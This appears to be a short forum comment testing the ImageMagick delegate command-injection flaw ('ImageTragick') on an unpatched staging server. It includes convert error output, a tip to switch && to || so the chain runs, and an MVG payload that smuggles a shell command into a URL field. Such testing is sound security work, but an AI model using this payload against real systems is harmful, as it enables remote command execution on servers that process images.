This is what I get on an unpatched staging server. Not sure it did anything...
$ sudo convert file.mvg o.png
convert.im6: delegate failed `"curl" -s -k -o "%o" "https:%M"' @ error/delegate.c/InvokeDelegate/1065.
convert.im6: unable to open image `/tmp/magick-Yjc5q9f1': No such file or directory @ > error/blob.c/OpenBlob/2638.
convert.im6: unable to open file `/tmp/magick-Yjc5q9f1': No such file or directory @ error/constitute.c/ReadImage/583.
if https://test can't be opened by curl then the rest of the commands will fail because they are chained by &&. if you change the first && to || then it will work.
viewbox 0 0 1 1 image over 0,0 0,0 'https://test/" && touch /tmp/hacked && echo "1'